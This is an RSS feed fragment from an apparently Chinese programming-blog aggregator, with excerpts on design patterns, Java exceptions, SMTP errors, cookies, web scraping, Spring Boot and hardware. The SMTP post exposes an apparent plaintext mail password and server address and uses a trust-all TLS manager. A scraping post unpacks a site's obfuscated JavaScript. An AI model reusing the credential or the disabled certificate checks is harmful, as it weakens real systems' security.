      <description>顾客在超市中将选择的商品，如苹果、图书等放在购物车中，然后到收银员处付款。在购物过程中，顾客需要对这些商品进行访问，以便确认这些商品的质量，之后收银员计算价格时也需要访问购物车内顾客所选择的商品。此时，购物车作为一个ObjectStructure（对象结构）用于存储各种类型的商品，而顾客和收银员作为访问这些商品的访问者，他们需要对商品进行检查和计价。不同类型的商品其访问形式也可能不同，如苹果需要过秤之后再计价，而图书不需要。使用访问者模式来设计该购物过程。&#xA;public class Apple implements Product { public void accept(Visitor visitor) { visitor.visit(this); }&#x9;} public class Book implements Product { public void accept(Visitor visitor) { visitor.visit(this); }&#x9;} import java.util.*; public class BuyBasket { private ArrayList list=new ArrayList(); public void accept(Visitor visitor) { Iterator i=list.iterator(); while(i.hasNext()) { ((Product)i.next()).accept(visitor);&#x9;} } public void addProduct(Product product) { list.add(product); } public void removeProduct(Product product) { list.remove(product); } } public class Client { public static void main(String a[]) { Product b1=new Book(); Product b2=new Book(); Product a1=new Apple(); Visitor visitor; BuyBasket basket=new BuyBasket(); basket.</description>
    </item>
    <item>
      <title>模板方法模式实例与解析--实例一：银行业务办理流程</title>
      <link>https://bchobby.github.io/posts/9f79f61b3f4843a74c56a700d6efe213/</link>
      <pubDate>Fri, 16 Jul 2021 13:20:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f79f61b3f4843a74c56a700d6efe213/</guid>
      <description>在银行办理业务时，一般都包含几个基本步骤，首先需要取号排队，然后办理具体业务，最后需要对银行工作人员进行评分。无论具体业务是取款、存款还是转账，其基本流程都一样。现使用模板方法模式模拟银行业务办理流程。&#xA;public abstract class BankTemplateMethod { public void takeNumber() { System.out.println(&#34;取号排队。&#34;); } public abstract void transact(); public void evaluate() { System.out.println(&#34;反馈评分。&#34;); } public void process() { this.takeNumber(); this.transact(); this.evaluate(); } } public class Client { public static void main(String a[]) { BankTemplateMethod bank; bank=(BankTemplateMethod)XMLUtil.getBean(); bank.process(); System.out.println(&#34;---------------------------------------&#34;); } } 配置文件config.xml文件： &amp;lt;?xml version=&#34;1.0&#34;?&amp;gt; &amp;lt;config&amp;gt; &amp;lt;className&amp;gt;Transfer&amp;lt;/className&amp;gt; &amp;lt;/config&amp;gt; public class Deposit extends BankTemplateMethod { public void transact() { System.out.println(&#34;存款&#34;);&#x9;} } public class Transfer extends BankTemplateMethod { public void transact() { System.</description>
    </item>
    <item>
      <title>try-catch-Exception真的能捕获所有异常吗？</title>
      <link>https://bchobby.github.io/posts/42e6326be586532003c88976dc813d71/</link>
      <pubDate>Fri, 16 Jul 2021 12:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42e6326be586532003c88976dc813d71/</guid>
      <description>今天跟大家分享一个平时开发用的最多的小知识点：异常捕获，相信绝大多数程序员都没注意到这个坑，首先上一段伪代码示例给大家看看：&#xA;public class CatchExceptSample { public static void main(String[] args) { try { throw new RuntimeException(&#34;手工模拟抛出错误&#34;); } catch (Exception e) { System.out.println(&#34;发生异常了&#34;); e.printStackTrace(); } } } 执行后控制台输出：&#xA;可以看到异常被正确捕获并进入catch代码块，这符合我们的预期。接下来我们来看下一个伪代码示例：&#xA;public class CatchExceptSample { public static void main(String[] args) { try { //注意，这里抛出的是错误Error，而非异常Exception throw new NoSuchMethodError(&#34;手工模拟抛出错误&#34;); } catch (Exception e) { System.out.println(&#34;发生异常了&#34;); e.printStackTrace(); } } } 这个代码示例唯一区别就是抛出的是个错误，而不是异常，我们先看一下执行结果截图如下：&#xA;可以看到这一次没有进入catch，因为没有执行我们手动打印的：&#34;发生异常了&#34;这段话。&#xA;如果要让这种情况进入我们预期的catch，我们需要调整代码如下：&#xA;public class CatchExceptSample { public static void main(String[] args) { try { throw new NoSuchMethodError(&#34;</description>
    </item>
    <item>
      <title>一级计算机wps都考些什么,计算机一级WPS考什么内容</title>
      <link>https://bchobby.github.io/posts/863f16ae66e0771e1a7ca569078a1eee/</link>
      <pubDate>Fri, 16 Jul 2021 12:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/863f16ae66e0771e1a7ca569078a1eee/</guid>
      <description>满意答案&#xA;10月大婚&#xA;2012.12.26&#xA;采纳率：52% 等级：11&#xA;已帮助：4800人&#xA;考试科目：在一级原来基础上，新增对金山WPS Office的考核，加上原有的一级和一级B，共三个科目。三个科目名称统一规范为：一级MS Office、一级B、一级WPS Office。&#xA;考试形式：取消一级科目的纸笔考试，完全采取上机考试形式，各科上机考试时间均为90分钟。&#xA;考核内容：三个科目的考核内容包括微机基础知识和操作技能两部分。基础知识部分占全卷的20%(20分)，操作技能部分占80%(80分)。各科目对基础知识的要求相同，以考查应知应会为主，题型为选择题。操作技能部分包括汉字录入、Windows使用、文字排版、电子表格、演示文稿、因特网的简单应用。一级B因特殊行业和岗位需要，减少对演示文稿、因特网两部分的考核要求。&#xA;系统环境：一级科目中操作系统版本升级为Windows 2000，MS Office版本升级为Office 2000，WPS Office版本为2003。&#xA;调整时间：一级WPS Office将于2004年上半年试点，2004年下半年在全国正式推广。调整后的一级MS Office、一级B将于2004年下半年在部分省试点，2005年上半年在全国推广。&#xA;注：现有的一级和一级B在调整之前，考试大纲、考试内容、考试形式保持不变。&#xA;00分享举报</description>
    </item>
    <item>
      <title>Bug01_服务器Docker环境下，邮件发送超时 &amp; javax.net.ssl.SSLHandshakeException: No appropriate protocol</title>
      <link>https://bchobby.github.io/posts/9b4de311e332688bd945e10aa11150d1/</link>
      <pubDate>Fri, 16 Jul 2021 07:57:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b4de311e332688bd945e10aa11150d1/</guid>
      <description>一、Bug1：邮件发送超时 Bug1描述： 我的Java项目在用户注册激活时有邮件发送需求，开发环境下localhost能够通过25号端口实现邮件发送；部署项目到生产环境下centos系统的服务器，出现邮件发送连接超时现象。&#xA;Bug1处理： 起初我以为如下日志信息是报错信息：&#xA;DEBUG SMTP: useEhlo true, useAuth true DEBUG SMTP: trying to connect to host &#34;smtp.163.com&#34;, port 465, isSSL false 后来发现开发环境下成功实现邮件发送同样会有此日志信息。&#xA;经调研，是阿里云服务器将25号端口封闭，无法通过此端口向外发送数据，需向阿里云提交申请解封。另一种解决方式是将服务器发送数据的端口改为465。为了修改端口，以邮件发送为目的，我更新后的代码如下：&#xA;[1] 相关的配置文件信息如下：&#xA;spring.mail.protocol=smtp spring.mail.host=smtp.163.com spring.mail.port=465 spring.mail.username=salieri97@163.com spring.mail.password=MSWLTEBIGNKFXQVW spring.mail.default-encoding=utf-8 spring.mail.properties.mail.debug=true spring.mail.sendAddressId=http://120.79.133.235:8989/salieri/user/activation [2] 以注册账户激活为目的，邮件服务模块如下：&#xA;package com.salieri.service.serviceImpl; import com.salieri.service.MailService; import com.salieri.utils.TrustAllTrustManager; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import javax.mail.MessagingException; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; import javax.net.ssl.*; import java.io.UnsupportedEncodingException; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; import java.util.Date; import java.</description>
    </item>
    <item>
      <title>IndexDB学习</title>
      <link>https://bchobby.github.io/posts/0ac636da2e09e1d6083f265039c7849e/</link>
      <pubDate>Fri, 16 Jul 2021 00:41:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ac636da2e09e1d6083f265039c7849e/</guid>
      <description>cookie cookie是保存在客户端本地的纯文本文件。其核心目的是为了解决服务器无法识别用户身份的问题。&#xA;HTTP协议是无状态的&#xA;cookie工作原理 客户端发送一个请求到服务器服务器发送一个HttpResponse响应到客户端，其中包含Set-Cookie的头部客户端保存cookie，之后向服务器发送请求时，HttpRequest请求中会包含一个Cookie的头部服务器返回响应数据&#xA;可以在浏览器调试栏中的Headers和Cookies中查看。&#xA;cookie的属性 属性项说明NAME/VAULE键值对，可以设置要保存的 Key/Value，NAME 不能和其他属性项的名字一样Domain生成该 Cookie 的域名，如 domain=“www.baidu.com”Path定义了Web站点上可以访问该Cookie的目录Secure指定是否使用HTTPS安全协议发送Cookie。HTTPOnly防止客户端脚本通过document.cookie属性访问Cookie，有助于保护Cookie不被跨站脚本攻击窃取或篡改Expires设置Cookie的生存期。有两种存储类型的Cookie：会话性与持久性。Expires属性缺省时，为会话性Cookie，仅保存在客户端内存中，并在用户关闭浏览器时失效；持久性Cookie会保存在用户的硬盘中，直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效max-age与expires作用相同，用来告诉浏览器此cookie多久过期（单位是秒），是一个时间段而不是一个固定的时间点。优先级高于expires。 Cookie 机制并未遵循严格的同源策略，允许一个子域可以设置或获取其父域的 Cookie。cookie存储大小4kb左右 cookie缺点 大小受限，每个cookie大约4kb左右，浏览器不同大小稍有差异。cookie可以被用户禁用，修改，删除每次请求cookie信息都会随http传递给后端，浪费了一定的带宽。安全性不高 cookie使用 /**获取cookie的值 */ const getCookie = (name?: string) =&amp;gt; { if (name) { const cookiePair = document.cookie.split(&#39;;&#39;); for (let pair of cookiePair) { const parirList = pair.split(&#39;=&#39;); if (parirList[0] &amp;amp;&amp;amp; parirList[0] === name) { return parirList[1]; } } } else { return document.cookie; } } /**设置cookie的值 */ const setCookie = (name: string, value: string) =&amp;gt; { const cookiePair = document.</description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 | 某漫画网站简单加密分析（难度 0.1 星）</title>
      <link>https://bchobby.github.io/posts/a7ca82c2441bb51837533b195db41dfc/</link>
      <pubDate>Thu, 15 Jul 2021 18:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7ca82c2441bb51837533b195db41dfc/</guid>
      <description>点击上方“咸鱼学Python”，选择“加为星标”&#xA;第一时间关注Python技术干货！&#xA;今日网站 aHR0cHM6Ly93d3cubWFuZ2Fiei5jb20vbTE4MDk3MC8=&#xA;每天的日常就是补补环境、水水群、卖卖课，为了不掉粉还要写一写水文&#xA;加密定位与分析 先看请求，我们需要获取的是漫画图片，所以要找找页面上图片的请求，不过在网络请求里没有看到对应的包&#xA;所以先翻翻其他包，看有没有比较可疑的请求。&#xA;这里不卖关子，找到chapterimage.ashx这个请求的位置&#xA;这个请求还返回了一个eval&#xA;eval(function(p,a,c,k,e,d){e=function(c){return(c&amp;lt;a?&#34;&#34;:e(parseInt(c/a)))+((c=c%a)&amp;gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#39;&#39;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#39;\\w+&#39;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]);return p;}(&#39;e 9(){2 6=4;2 5=\&#39;a\&#39;;2 7=&#34;g://j.h.f/1/b/4&#34;;2 3=[&#34;/c.8&#34;,&#34;/k.8&#34;];o(2 i=0;i&amp;lt;3.l;i++){3[i]=7+3[i]+\&#39;?6=4&amp;amp;5=a&amp;amp;m=\&#39;}n 3}2 d;d=9();&#39;,25,25,&#39;||var|pvalue|180970|key|cid|pix|jpg|dm5imagefun|e7a63405323a7a1735bb5b6774e48c36|266|1_8812||function|com|https|mangabz||image|2_6933|length|uk|return|for&#39;.split(&#39;|&#39;),0,{})) 这里的eval大家应该都会，解开就是下面这样的代码&#xA;function dm5imagefun(){var cid=180970;var key=&#39;e7a63405323a7a1735bb5b6774e48c36&#39;;var pix=&#34;https://image.mangabz.com/1/266/180970&#34;;var pvalue=[&#34;/1_8812.jpg&#34;,&#34;/2_6933.jpg&#34;];for(var i=0;i&amp;lt;pvalue.length;i++){pvalue[i]=pix+pvalue[i]+&#39;?cid=180970&amp;amp;key=e7a63405323a7a1735bb5b6774e48c36&amp;amp;uk=&#39;}return pvalue}var d;d=dm5imagefun(); 在编辑器中运行一下就可以得到下面的链接&#xA;直接点开就是漫画的图片了，写入到本地大家应该都会，完事儿~&#xA;至于请求这段 js 代码的请求中带着的 sign 是页面中返回的，不过这个 sign 测试了不带也是可以获取到 js 的。所以直接 eval 执行这段 js 然后就可以了。&#xA;eval 不难找，也可以使用 hook eval 脚本快速定位&#xA;// 脚本来源：微信群里收藏的，忘记是哪个大佬发的了，如有侵权联系我删除哈 window.__cr_eval = window.eval; var myeval = function (src) { console.log(&#39;eval:&#39;, src); return window.__cr_eval(src) }; var _myeval = myeval.</description>
    </item>
    <item>
      <title>springboot实现热部署</title>
      <link>https://bchobby.github.io/posts/50c1fe42bade8f8440aeabff9a5bc299/</link>
      <pubDate>Thu, 15 Jul 2021 14:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50c1fe42bade8f8440aeabff9a5bc299/</guid>
      <description>1. 前言&#xA;在实际开发过程中，每次修改代码就得将项目重启，重新部署，对于一些大型应用来说，重启时间需要花费大量的时间成本。对于一个后端开发者来说，重启过程确实很难受啊。在 Java 开发领域，热部署一直是一个难以解决的问题，目前的 Java 虚拟机只能实现方法体的修改热部署，对于整个类的结构修改，仍然需要重启虚拟机，对类重新加载才能完成更新操作。下面我=我们就看看对于简单的类修改的热部署怎么实现。&#xA;2. 原理&#xA;深层原理是使用了两个ClassLoader，一个Classloader加载那些不会改变的类（第三方Jar包），另一个ClassLoader加载会更改的类，称为restart ClassLoader,这样在有代码更改的时候，原来的restart ClassLoader 被丢弃，重新创建一个restart ClassLoader，由于需要加载的类相比较少，所以实现了较快的重启时间。&#xA;若想探究底层实现或者自定义加载类，可以参考大佬博客&#xA;3. 方式&#xA;springboot有3中热部署方式：&#xA;1.使用springloaded配置pom.xml文件，使用mvn spring-boot:run启动&#xA;2.使用springloaded本地加载启动，配置jvm参数&#xA;-javaagent:&amp;lt;jar包地址&amp;gt; -noverify&#xA;3.使用devtools工具包，操作简单，但是每次需要重新部署&#xA;这里主要讲解一下第三种热部署方式的使用，因为在网上查找资源时，总会发现很多人就是springloaded和devtools都使用了，其实是多余的操作，而且第三种操作简单快捷。&#xA;4. 开始配置&#xA;4.1 在pom.xml中添加依赖&#xA;&amp;lt;dependencies&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;!--devtools热部署--&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt;&#xA;&amp;lt;scope&amp;gt;true&amp;lt;/scope&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;/dependencies&amp;gt;&#xA;&amp;lt;build&amp;gt;&#xA;&amp;lt;plugins&amp;gt;&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA;&amp;lt;fork&amp;gt;true&amp;lt;/fork&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;&amp;lt;/plugins&amp;gt;&#xA;&amp;lt;/build&amp;gt;&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11</description>
    </item>
    <item>
      <title>【虹科车用总线技术】PCAN-USB使用手册</title>
      <link>https://bchobby.github.io/posts/91a12d44158fd1fde9c1d46b93238e9e/</link>
      <pubDate>Thu, 15 Jul 2021 14:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91a12d44158fd1fde9c1d46b93238e9e/</guid>
      <description>单通道CAN转USB接口 应用 将CAN网络通过USB连接到电脑，用于监控CAN网络。也可以发送、保存、过滤CAN报文。（虹科）&#xA;1.安装驱动 拿到产品之后的第一件事就是给设备安装驱动程序。安装方式有两种：&#xA;1.1从光盘中安装驱动&#xA;在将PCAN接口系列（如PCAN-USB、PCAN-PCI系列，PCAN-PC104系列）连接到电脑上之前必须先安装驱动程序。安装步骤如下：&#xA;①如果是Windows-XP的系统，请确保您当前登录的用户具有管理员权限（这个只在安装的时候需要，使用时是不需要的）；&#xA;②插入产品配套的光盘到电脑光驱中。一般等一会就会弹出一个导航窗口，如果没有，请打开光盘的根目录，点击。&#xA;③在弹出的窗口中选择English，然后点击Drivers进入驱动安装页面，点击Install Now就会执行安装驱动程序；&#xA;注意：在安装驱动的过程中您可以根据需要选择需要安装的，如下图，如果是用PCAN-USB的话，可以选择CAN device drivers和Virtual PCAN drivers，PCAN-Basic是PCAN的二次开发包，也可以选上。&#xA;另外，这里的Virtual PCAN-Gateway是用于支持CAN转以太网或者CAN转Wifi设备的；LIN device drivers是PCAN-USB Pro FD的LIN部分驱动。如果不想安装，直接取消前面的√即可。&#xA;1.2自行下载驱动程序安装&#xA;如果您的电脑没有光驱或者公司禁止使用光驱，您也可以到PEAK System的官方网站上下载最新的驱动程序。下载地址如下：&#xA;https://www.peak-system.com/produktcd/Drivers/PeakOemDrv.exe&#xA;下载完成后解压，有一个的执行文件，打开这个执行文件，按照提示安装即可。安装的第一步是选择语言，我们一般都选择第一项英语。&#xA;另外，如果您插上了硬件，想在电脑的设备管理器上选择更新驱动程序的方法安装驱动程序也是可以的。解压的文件夹中有一个drivers的文件夹，你只需在选择驱动程序路径的时候选择这个文件夹就可以了。&#xA;2.连接硬件 当没有连接PCAN硬件时，打开PCAN-View自动弹出的Connect连接窗口中可用的CAN硬件窗口是空白的，表示没有CAN硬件连接到PC。如下图左图所示。&#xA;当把PCAN-USB连接到电脑上时，正常打开弹出的连接窗口中会显示该硬件。在这里还可以设置该连接的波特率，报文过滤等信息。当然也可以选择一个已经设置好的连接，如图中的demo2。&#xA;第一次使用硬件是是只有下图红色方框中的第一行的硬件信息的，下面的网络（demo2，DemoNet）是用另外一个软件设置的。当然没有这些网络是不会影响使用的。&#xA;注意：如果插上了硬件，但是没有显示硬件，请打开电脑的设备管理器查看是否正确安装了接口的驱动程序。如果没有，可以右键单击选择更新驱动程序，驱动程序在配套的光盘里面。也可以参考驱动程序安装方法的说明。&#xA;我们都知道CAN总线终端电阻一般来说都是120Ω，实际上在设计的时候，也是两个60欧姆的电阻串起来，而总线上一般有两个120Ω的节点，如下图所示：&#xA;在连接120Ω终端电阻时，连接的方法就是把DB9接头引出来接在引脚7：CAN_H和引脚2：CAN_L上即可,PCAN-USB对应的D-Sub接口引脚图如下图所示：&#xA;如果您需要更多相关技术支持，欢迎联系虹科车辆网络【来源：虹科车用总线技术】&#xA;3.应用 PCAN-USB主要是结合在PC端的软件一起使用，在这里主要介绍免费软件PCAN-View的相关功能使用，关于PCAN-Explorer6的使用可到相应模块浏览学习。&#xA;3.1更改波特率&#xA;如果已经打开了PCAN-View，想要更改波特率，可以点击菜单栏中的CAN或者点击工具栏中的连接按钮，如上图中的红色方框所示，也会弹出如下图所示的连接对话框。&#xA;连接以后软件最下方会显示已经连接上的连接。&#xA;3.2接收报文 如果该PCAN-USB已经连接到CAN 总线上，并且总线是有数据传输的话，在接收区域是可以接收到数据的。如下图中所示。&#xA;3.3记录报文&#xA;保存的数据的格式是.trc的文件格式，可以用记事本打开，也可以用PCAN的专用转换工具PCAN-Converter将其转换为ASC或者CSV格式的文件。&#xA;3.4发送报文hongke&#xA;另外，在发送报文的界面上，点击软件左上角的保存按钮，可以将当前Transmit框中的ID保存为xml文件（发送列表），下次打开可以继续使用。&#xA;3.5自定义波特率&#xA;如果用户需要自定义波特率而非用PCAN-View中所包含的波特率，那么用户可以自己选择，如下图：&#xA;在baud rate右边的输入框中输入要得到的波特率的数值：78.85kbit/s，然后点击calculate，这个框中的所有组合都可以选择，但是用户可以根据需要来选，用户考虑的参数主要是sample point和SJW，不同的组合SJW以及sample rate会不同的。这就要看客户的要求了。关于如何选择合适的SP和SJW：SP和SJW的值取决于你正在使用的CAN系统。我们推荐SP设置为75%，如果是CAN-Open系统推荐89%，其它的使用60%。请参考SJA1000的datasheet获得更多的关于波特率设置的信息。&#xA;怎么看是否真的设置成了这个波特率，如下图:用PCAN-View下面的那个连接提示就可以看到连接下的波特率数值。&#xA;如果您需要更多相关技术支持，欢迎联系虹科车辆网络【来源：虹科车用总线技术】&#xA;Q&amp;amp;A Q1.快速检测PCAN-USB 收发器是否正常 A1.PCAN-USB收发器损坏是PCAN-USB维修中比较常见的问题，这主要是因为：① CAN收发器在使用环境中会受到较大的电磁干扰；② 使用过程中CAN线对电源短路。&#xA;检测CAN高速收发器比如NXP82C251或MAX3057ASA的方法：&#xA;①打开电脑，保证PCAN硬件已经连接到电脑上。&#xA;②不能打开任何应用程序。即是说，PCAN-USB上面的LED灯应该是一直红灯并且不闪。否则，要关闭占用了PCAN硬件的应用程序。&#xA;③将PCAN设备的CAN端的连接移除。即是说，让PCAN的CAN端空置，不接任何设备和线缆等。&#xA;④用一个万用表（DC测试档），测试PCAN设备DB9头的pin 2 (CAN-L) 和 pin 3 (GND)。测量到的电压值应该为2.</description>
    </item>
    <item>
      <title>计算机硬盘换,电脑硬盘可以随便换吗</title>
      <link>https://bchobby.github.io/posts/a9ec277d79400bdf5b428c91de0b4582/</link>
      <pubDate>Thu, 15 Jul 2021 05:05:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9ec277d79400bdf5b428c91de0b4582/</guid>
      <description>多磁头技术：通过在同一碟片上增加多个磁头同时的读或写来为硬盘提速，或同时在多碟片同时利用磁头来读或写来为磁盘提速，多用于服务器和数据库中心。下面是学习啦小编带来的关于电脑硬盘可以随便换吗的内容，欢迎阅读!&#xA;电脑硬盘可以随便换吗?&#xA;当然可以换，硬盘在笔记本中属于可直接拆卸的硬件，如果感觉现在的硬盘因为容量，速度，或者是因为故障原因都是可以随时拆卸更换的。500GB的5400转硬盘换成1000G的7200转的硬盘或者SSD固态硬盘都是完全没有问题的，笔记本通用机械硬盘是2.5英寸的，只要有这个尺寸的硬盘就可以换上的。&#xA;一、SATA接口：&#xA;二、msata接口：&#xA;三、m.2接口：&#xA;1、首先了解本本硬盘规格、接口类型、外形尺寸。&#xA;2、如2.5&#34;的IDE接口、SATA接口机械硬盘。新型卡式有PCIE mini、mSATA、M.2接口。&#xA;3、更换前，根据第1条的三个条件选择替换硬盘，才能避免不必要的麻烦。&#xA;相关阅读推荐：&#xA;硬盘磁道&#xA;当磁盘旋转时，磁头若保持在一个位置上，则每个磁头都会在磁盘表面划出一个圆形轨迹，这些圆形轨迹就叫做磁道。这些磁道用肉眼是根本看不到的，因为它们仅是盘面上以特殊方式磁化了的一些磁化区，磁盘上的信息便是沿着这样的轨道存放的。相邻磁道之间并不是紧挨着的，这是因为磁化单元相隔太近时磁性会相互产生影响，同时也为磁头的读写带来困难。一张1.44MB的3.5英寸软盘，一面有80个磁道，而硬盘上的磁道密度则远远大于此值，通常一面有成千上万个磁道。磁道的磁化方式一般由磁头迅速切换正负极改变磁道所代表的0和1。&#xA;硬盘扇区&#xA;磁盘上的每个磁道被等分为若干个弧段，这些弧段便是磁盘的扇区，每个扇区可以存放512个字节的信息，磁盘驱动器在向磁盘读取和写入数据时，要以扇区为单位。1.44MB3.5英寸的软盘，每个磁道分为18个扇区。&#xA;硬盘柱面&#xA;硬盘通常由重叠的一组盘片构成，每个盘面都被划分为数目相等的磁道，并从外缘的“0”开始编号，具有相同编号的磁道形成一个圆柱，称之为磁盘的柱面。磁盘的柱面数与一个盘单面上的磁道数是相等的。无论是双盘面还是单盘面，由于每个盘面都只有自己独一无二的磁头，因此，盘面数等于总的磁头数。所谓硬盘的CHS，即Cylinder(柱面)、Head(磁头)、Sector(扇区)，只要知道了硬盘的CHS的数目，即可确定硬盘的容量，硬盘的容量=柱面数*磁头数*扇区数*512B。&#xA;看了电脑硬盘可以随便换吗文章内容的人还看：</description>
    </item>
    <item>
      <title>计算机组成存储器实验心得,《计算机组成原理》存储器读写实验报告</title>
      <link>https://bchobby.github.io/posts/a645302a0b0724a79817276b65e79d89/</link>
      <pubDate>Thu, 15 Jul 2021 00:13:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a645302a0b0724a79817276b65e79d89/</guid>
      <description>《《计算机组成原理》存储器读写实验报告》由会员分享，可在线阅读，更多相关《《计算机组成原理》存储器读写实验报告(4页珍藏版)》请在人人文库网上搜索。&#xA;1、计算机组成原理实验报告实验名称： 存储器读写实验 班级： 学 号： 姓名： 一、实验目的1、掌握存储器的工作特征2、熟悉静态存储器的操作过程，验证存储器的读取方法二、实验设备1、YYZ02计算机组成原理实验仪一台。2、排线若干。3、PC微机一台。三、实验原理1.存储器是计算机的主要部件，用来保存程序和数据。从工作方式上分类，其可分为易失性和非易失性存储器，易失性存储器中的数据在关电后将不复存在，非易失性存储器中的数据在关电后不会丢失。易失性存储器又可分为动态存储器和静态存储器，动态存储器保存信息的时间只有2ms，工作时需要不断更新，既不断刷新数据；静态存储器只要不断电，信息是不会丢失的。2.静。&#xA;2、态存储器芯片6116的逻辑功能：3.存储器实验单元电路：存储器实验单元电路控制信号逻辑功能表：4.存储器实验电路：存储器读写实验需三部分电路共同完成：存储器单元、地址寄存器单元和输入、输出单元。存储器单元以6116芯片为中心构成，地址寄存器单元主要由一片74LS273组成，控制信号B-AR的作用是把总线上的数据送人地址寄存器，向存储器单元电路提供地址信息，输入、输出单元作用与以前相同。四、实验结果记录(1)连线准备1.连接输入、输出实验的全部连线。2.按实验逻辑原理图连接M-W、M-R两根信号低电平有效信号线。3.连接A7A0 8根地址线。4.连接B-AR正脉冲有效信号线。(2)记录结果(包含。&#xA;3、采集结果前的动作)地址写入数据读出数据结果说明01H0010000000100000数的写入与读取02H0001001100010011数据的写入与读取03H0010011000100110数据的写入与读取04H1000000110000001数据的写入与读取05H0000010100000101数据的写入与读取25H不写存储器11110011一个随机地址36H0010000100100001数据的写入与读取0A0H写总线悬空时的数据11111111总线悬空时表示的数据是FFH，即写入的数据是11111111，所以读出结果为11111111五、实验总结与心得体会(1)通过这次实验我更加详细的了解了存储器的读写时怎么样的一个过程；(2)这个实验讲究一个配合，如果单个人操作极易出现错误，特别是不了解实验过程和实验原理的情况下。(3)通过这次实验，我知道计算机先把存储器地址写到地址总线上，再把数据放到数据总线上，这样就可以把数据写到正确的存储单元(写操作)计算机先把存储器地址写到地址总线上，存储器在把数据放到数据总线上，这样计算机就可以从数据总线上读取数据了(读操作。</description>
    </item>
    <item>
      <title>element-ui实现导入导出</title>
      <link>https://bchobby.github.io/posts/9050ebc2405de4afbdf4b5e7ce6b5b88/</link>
      <pubDate>Wed, 14 Jul 2021 23:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9050ebc2405de4afbdf4b5e7ce6b5b88/</guid>
      <description>亲测可行&#xA;一.下载依赖包 npm install -S file-saver xlsx npm install -D script-loader npm install xlsx 二. 在src文件夹下创建excel文件夹，导入Blob.js和Export2Excel.js文件并在使用的组件中引入 两个文件的地址：&#xA;链接：https://pan.baidu.com/s/10j6EPR-bK6ZL5AL5xOCiCw&#xA;提取码：118y&#xA;我在使用的组件中引入xlsx，没有放到全局&#xA;import XLSX from ‘xlsx’&#xA;- 导出 1.在template &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34;&amp;gt; &amp;lt;el-table-column prop=&#34;index&#34; label=&#34;id&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;姓名&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;nickName&#34; label=&#34;描述&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;el-button type=&#34;primary&#34; size=&#34;small&#34; @click=&#34;export2Excel()&#34;&amp;gt;导出&amp;lt;/el-button&amp;gt; 2.data中模拟数据 tableData: [ {&#39;index&#39;:&#39;0&#39;,&#34;nickName&#34;: &#34;小明是个帅哥&#34;, &#34;name&#34;: &#34;小明&#34;}, {&#39;index&#39;:&#39;1&#39;,&#34;nickName&#34;: &#34;小红是个美女&#34;, &#34;name&#34;: &#34;小红&#34;}, {&#39;index&#39;:&#39;2&#39;,&#34;nickName&#34;: &#34;小兰是个美女&#34;, &#34;name&#34;: &#34;小兰&#34;} ] 3.在methods中定义方法 //在methods中定义方法 export2Excel() { require.</description>
    </item>
    <item>
      <title>【记录爬虫实战过程】进阶学习·详细过程·爬取天气信息1（python&#43;flask&#43;pyecharts）</title>
      <link>https://bchobby.github.io/posts/5e99a0f0fb9a67cc46e8767a6b69f3f0/</link>
      <pubDate>Wed, 14 Jul 2021 22:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e99a0f0fb9a67cc46e8767a6b69f3f0/</guid>
